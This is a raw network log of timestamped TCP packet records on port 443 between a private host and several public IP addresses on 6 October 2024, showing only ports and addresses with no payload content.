Oct 6, 2024 14:08:20.647425890 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.651403904 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.659413099 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.687064886 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.687192917 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.687201977 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.687226057 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.687283993 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.687340975 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.687355995 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.687426090 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.687817097 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.687858105 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.688050985 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.688062906 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.688678980 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.688710928 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.688747883 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.688762903 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.688821077 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.689524889 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.689578056 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.689590931 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.689601898 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.689665079 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.689676046 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.690195084 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.690218925 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.690256119 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.690268040 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.690320969 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.691028118 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.691068888 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.691112995 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.691138029 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.691149950 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.691407919 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.692014933 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.693195105 CEST	49721	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:20.693203926 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.693211079 CEST	443	49724	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.693216085 CEST	49723	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.693250895 CEST	49726	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.693259001 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.710390091 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.710457087 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.710486889 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.710681915 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.710803986 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.710854053 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.710865974 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.711040974 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.711049080 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.711544991 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.711600065 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.711608887 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.711699963 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.711935043 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.711945057 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.713898897 CEST	443	49721	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:20.713998079 CEST	443	49721	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:20.714159966 CEST	49721	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:20.714756966 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.714785099 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.714827061 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.714827061 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.714849949 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.714868069 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.714883089 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.714903116 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.714905977 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.714915991 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.714977026 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.717225075 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.717273951 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.717307091 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.717314959 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.717355013 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.725742102 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.725749016 CEST	49727	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.725771904 CEST	49725	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.725784063 CEST	443	49728	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.727304935 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.727361917 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.727401018 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.727431059 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.727437019 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.778852940 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.778923988 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.778973103 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.779258966 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.779320002 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.779333115 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.780128956 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.780137062 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.780194044 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.780206919 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.780926943 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.780958891 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.780999899 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.781013966 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.781044006 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.781761885 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.781826019 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.781837940 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.781889915 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.782601118 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.782674074 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.782689095 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.782708883 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.782740116 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.782761097 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.783361912 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.783463001 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.784230947 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.784295082 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.784307003 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.784327984 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:20.784363031 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.784384012 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:20.799334049 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.799400091 CEST	49724	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.799405098 CEST	49726	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.799438953 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.799448967 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.799478054 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.799515963 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.802583933 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.802635908 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.802654982 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.802666903 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.802700043 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.802706957 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.802728891 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.805181980 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.805222034 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.805262089 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.805269957 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.805305958 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.806830883 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.806879044 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.806890011 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.806910038 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.806936979 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.809365988 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.809405088 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.809428930 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.809437990 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.809452057 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.811134100 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.811180115 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.811192036 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.811206102 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.811240911 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.812407017 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.812541962 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.812848091 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.812854052 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.812886000 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.812932968 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.812968969 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.813118935 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.813172102 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.813186884 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.813566923 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.813611984 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.813622952 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.815486908 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.815529108 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.815548897 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.815560102 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.815578938 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.815603018 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.817662954 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.817747116 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.817749977 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.817771912 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.817984104 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.817992926 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.831046104 CEST	49728	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.866368055 CEST	443	49723	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.866389990 CEST	443	49723	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.866453886 CEST	443	49723	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.866476059 CEST	49723	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.866528988 CEST	49723	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.886617899 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.886667013 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.886744976 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.886786938 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.886802912 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.888866901 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.888914108 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.888927937 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.888946056 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.888982058 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.890678883 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.890717030 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.890788078 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.890809059 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.890825987 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.892220020 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.892265081 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.892297029 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.892314911 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.892326117 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.894148111 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.894186974 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.894223928 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.894234896 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.894262075 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.895962954 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.896007061 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.896039009 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.896048069 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.896080971 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.897871017 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.897910118 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.897991896 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.898004055 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.898031950 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.898128033 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.898128033 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.898153067 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.898276091 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.898725986 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.898879051 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.898967028 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.899055958 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.899080992 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.899097919 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.899112940 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.899204969 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.899286032 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.899364948 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.899374008 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.899601936 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.899610996 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.899720907 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.899805069 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.899832010 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.899840117 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.899960041 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.900094032 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.900101900 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.900661945 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.900724888 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.900732994 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.900810003 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.900857925 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.900866032 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.901004076 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.901010036 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.901468992 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.901577950 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.901587009 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.908736944 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.908798933 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.908821106 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.908843994 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.908880949 CEST	49727	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.908885956 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.908916950 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.908922911 CEST	49727	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.908943892 CEST	49727	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.908946991 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.908972025 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.908973932 CEST	49727	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.908996105 CEST	49727	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.973025084 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.973088980 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.973118067 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.973140955 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.973176956 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.974293947 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.974335909 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.974380970 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.974390030 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.974415064 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.976047993 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.976094961 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.976130962 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.976140022 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.976181984 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.976994991 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.977041006 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.977061987 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.977070093 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.977107048 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.978729010 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.978776932 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.978801966 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.978809118 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.978833914 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.979994059 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.980035067 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.980062008 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.980068922 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.980097055 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.981453896 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.981497049 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.981513977 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.981528997 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.981559038 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.982213974 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.982249975 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.982274055 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.982287884 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.982306004 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.982417107 CEST	443	49730	151.101.130.137	192.168.2.5
Oct 6, 2024 14:08:20.982507944 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:20.982758999 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.982871056 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.982891083 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.982929945 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.983031988 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.983045101 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.983170033 CEST	443	49722	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:20.983273983 CEST	49722	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:20.986922979 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.986987114 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.987005949 CEST	49727	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.987015963 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.987029076 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.987072945 CEST	49727	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.987095118 CEST	49727	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:20.987119913 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.987294912 CEST	443	49727	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:20.987344980 CEST	49727	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:21.150953054 CEST	49730	443	192.168.2.5	151.101.130.137
Oct 6, 2024 14:08:21.153327942 CEST	49729	443	192.168.2.5	104.17.25.14
Oct 6, 2024 14:08:21.153395891 CEST	443	49729	104.17.25.14	192.168.2.5
Oct 6, 2024 14:08:21.198318958 CEST	443	49726	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:21.198369980 CEST	443	49726	2.16.168.6	192.168.2.5
